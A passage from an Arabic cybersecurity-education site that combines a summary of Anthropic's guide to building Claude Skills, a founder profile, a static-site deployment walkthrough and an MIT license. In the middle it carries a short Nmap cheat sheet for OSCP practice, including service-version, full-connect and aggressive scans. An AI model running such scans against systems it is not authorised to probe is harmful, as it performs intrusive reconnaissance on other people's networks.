تقنيات أساسية: سير عمل بخطوات مع بوابات تحقق، قوالب، تحسين تكراري.

الفئة 3: تعزيز MCP

الاستخدام: إرشادات سير عمل لتعزيز الوصول للأدوات الذي يوفره خادم MCP.

مثال حقيقي: skill sentry-code-review من Sentry

"Automatically analyzes and fixes detected bugs in GitHub Pull Requests using Sentry's error monitoring data via their MCP server."

تقنيات أساسية: تنسيق عدة استدعاءات MCP، خبرة ميدانية مدمجة.

الجزء الأهم: 5 YAML Frontmatter

الـ YAML frontmatter هو كيف يقرر Claude ما إذا كان سيحمل الـ Skill. أتقن هذا وستنجح.

الحد الأدنى المطلوب:

---
name: your-skill-name
description: What it does. Use when user asks to [specific phrases].

أمثلة جيدة

محدد وقابل للتنفيذ:

يحتوي عبارات تشغيل:

أمثلة سيئة

غامض جدا:

يفتقد المحفزات:

حقول اختيارية مفيدة:

• license: MIT, Apache-2.0 (إذا كانت مفتوحة المصدر)

• compatibility: 1-500 (حرف (متطلبات البيئة

• metadata: حقول مخصصة (author, version, mcp-server)

6 التوزيع والمشاركة

GitHub Repository

الطريقة الأكثر شيوعا. أنشئ repo باسم الـ skill واجعله قابلا للاكتشاف.

البنية: ضع SKILL.md في الجذر، وأضف README.md للتوثيق البشري.

Zip File

اضغط مجلد الـ skill كملف .zip وارفعه مباشرة.

مهم: تأكد من أن الملفات في جذر الـ zip، لا داخل مجلد فرعي.

7 أنماط شائعة وحلول

السبب الشائع: الوصف غامض أو لا يحتوي على عبارات تشغيل كافية.

الحل: أضف عبارات محددة يقولها المستخدمون فعلا. اختبر مع 10-20 استعلام.

السبب: الوصف واسع جدا.

الحل: كن محددا في متى يستخدم. أضف "Use only when..." بدلا من "Use when...".

الحل: انقل التفاصيل إلى مجلد /references واربطها بدلا من تضمينها في SKILL.md.

اجعل الوصف أقل من 1024 حرف.

8 قائمة تحقق سريعة

قبل الرفع

التطوير:

الاختبار:

9 رأيي في الدليل

هذا الدليل من Anthropic يستحق القراءة الكاملة حتى لو ما كنت بتستخدم Claude بكثرة. يتميز بأنه:

- عملي 100% - لا يوجد تنظير، كل صفحة فيها أمثلة قابلة للتنفيذ
- مبني على خبرة حقيقية - أنماط من skills موجودة في الإنتاج
- يربط بين النظرية والتطبيق - من بنية المجلد إلى النشر

نصيحة: قبل ما تبدأ ببناء أول skill، استخدم skill-creator المدمج في Claude. يأخذ بيدك خطوة بخطوة ويولد مسودة أولى جاهزة للاختبار.

10 موارد إضافية

Best Practices Guide

الدليل الرسمي من Anthropic لأفضل الممارسات

anthropics/skills

مستودع Skills الجاهزة للاستخدام والتخصيص

API Reference

مرجع API الكامل لـ Claude

MCP Documentation

وثائق Model Context Protocol

مصدر هذا الملخص: الدليل الكامل لبناء Skills لـ Claude - إصدار Anthropic الرسمي (يناير 2026). هذا الملخص أعده رحومي البراهيم بأسلوب تعليمي مع روابط للموارد الأصلية.

روابط وردت في المقال

https://docs.claude.com/en/docs/agents-and-tools/agent-skills/overview

https://github.com/anthropics/skills

https://docs.claude.com/en/api/overview

https://modelcontextprotocol.io/

صفحات إضافية ومصادر

الرئيسية

الأدوات وملخص Nmap

التحديات

الموارد

الأوامر

المقالات

عن المؤسس

ملخص Nmap من صفحة الأدوات

المصدر الأصلي

أوامر NMAP السريعة لـ OSCP

المرجع السريع اللي تستخدمه في الاختبار

(فحص سريع (الافتراضي nmap target

كشف إصدارات الخدمات nmap -sV target

(Three-way handshake) كامل TCP فحص nmap -sT target

(Aggressive) كل الفحوصات nmap -A target

منفذ N فحص أشهر nmap --top-ports=N target

مرجع للمتقدم: شوف دليل NMAP الرسمي لخيارات أكثر تقدما.

عن CyberAr

المصدر الأصلي

من أنا؟

أنا رحومي البراهيم، مؤسس CyberAr وطالب في تخصص هندسة الأمن السيبراني من العراق. شغفي بالتقنية والأمن السيبراني بدأ منذ الصغر، وتطور مع الوقت ليصبح رسالة: نشر المعرفة السيبرانية للمجتمع العربي .

أؤمن بأن المحتوى العربي في الأمن السيبراني يستحق أن يكون بنفس جودة المحتوى الغربي. لذلك أسعى لبناء مرجع عربي شامل يغطي كل ما يحتاجه المختص من الصفر للاحتراف.

مهمتي

تعليم

محتوى تعليمي منظم للمبتدئين والمحترفين

مجتمع

بناء مجتمع عربي متعاون في السيبر

توعية

رفع مستوى الوعي الأمني في العالم العربي

ما الذي يميز هذا المرجع؟

محتوى عربي أصيل - ليس ترجمة، بل محتوى مبني على خبرة وفهم عميق

مسارات منظمة - من المبتدئ للاحتراف مع خطوات واضحة

أدوات عملية - أكثر من 50 أداة مصنفة وموثقة

تحديات حقيقية - روابط لأفضل منصات CTF عالمية

أخلاقيات - التعلم الأخلاقي والقانوني فوق كل شيء

هل تبي تتواصل؟

أرحب بأي سؤال، اقتراح، أو تعاون

انشر CyberAr على الإنترنت

المصدر الأصلي

GitHub Pages (موصى به)

مجاني · HTTPS تلقائي · يدعم Domain مخصص

الخطوة 1: أنشئ مستودع GitHub

- روح github.com/new
- اسم المستودع: iraqrahomi.github.io
- اختر Public
- اضغط Create repository

الخطوة 2: ارفع الملفات

افتح PowerShell في مجلد المشروع ونفذ:

```
# Initialize git
git init
git add .
git commit -m " Launch CyberAr v2.0"
git branch -M main
# Connect to GitHub
git remote add origin https://github.com/iraqrahomi/iraqrahomi.github.io.git
git push -u origin main
```

الخطوة 3: فعل GitHub Pages

- روح **Settings** في المستودع
- اختر **Pages** من القائمة الجانبية
- تحت **Source**: اختر **GitHub Actions**
- انتظر 2-3 دقائق
- موقعك الآن لايف على: https://iraqrahomi.github.io

مميزات: HTTPS مجاني · PWA جاهز · SEO كامل · صفر تكلفة

Netlify (سحب وإفلات)

مجاني · بدون Git · نشر خلال ثوان

- روح app.netlify.com/drop
- اسحب مجلد المشروع كامل وأفلته في الصفحة
- انتظر 30 ثانية
- موقعك لايف على: https://random-name.netlify.app
- يمكنك تغيير الاسم إلى cyberar.netlify.app

Vercel (الأسرع)

مجاني · CDN عالمي · أداء خرافي

- روح vercel.com/new
- سجل دخول بحساب GitHub
- اختر المستودع iraqrahomi.github.io
- اضغط Deploy
- خلال 60 ثانية موقعك لايف على: cyberar.vercel.app

ربط Domain مخصص (cyberar.com)

1. اشتر النطاق

من Namecheap أو GoDaddy أو Cloudflare Registrar. ابحث عن cyberar.com

2. أضف DNS Records

في إعدادات DNS للنطاق:

```
# For apex domain (cyberar.com)
A @ 185.199.108.153
A @ 185.199.109.153
A @ 185.199.110.153
A @ 185.199.111.153
# For www subdomain
CNAME www iraqrahomi.github.io
```

3. فعل Domain في GitHub

• Settings → Pages → Custom domain

• اكتب: cyberar.com

• فعل Enforce HTTPS

• انتظر 24 ساعة للتفعيل الكامل

Checklist قبل النشر

• اختبار الموقع محليا (http://localhost:8080)

• كل الصفحات تعمل بدون 404

• SEO meta tags كاملة (title, description, OG)

• الصور مضغوطة (myphoto.jpg < 50KB)

• Favicon + Logo موجودين

• PWA manifest جاهز

• sitemap.xml محدث

• robots.txt صحيح

• اختبار Lighthouse على Chrome DevTools

• اختبار على الجوال الحقيقي

بعد النشر — الخطوات التالية

• أضف الموقع لـ Google Search Console — لإظهار في نتائج البحث

• سجل في Bing Webmaster

• أضف Google Analytics لتتبع الزوار

• شارك على Twitter بهاشتاق #CyberAr #سيبراني_عربي

• انشر في Reddit : r/cybersecurity, r/netsec

• شارك في Hacker News

• أضف لـ Product Hunt

روابط وردت في المقال

https://github.com/new

https://app.netlify.com/drop

https://vercel.com/new

الترخيص والإسناد

المصدر الأصلي: CyberAr، رحومي البراهيم. نظم محتوى الموقع مع الإبقاء على روابط الصفحات الأصلية. راجع شروط المصادر الخارجية بصورة مستقلة.

المصدر الأصلي

نص الترخيص الأصلي — MIT License

MIT License

Copyright (c) 2025 رحومي البراهيم (Rahomi Al-Brahim)

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

ملاحظة: هذا الموقع تعليمي فقط. جميع الأدوات والموارد المذكورة يجب استخدامها بطريقة قانونية وأخلاقية فقط. Unauthorized access to computer systems is illegal.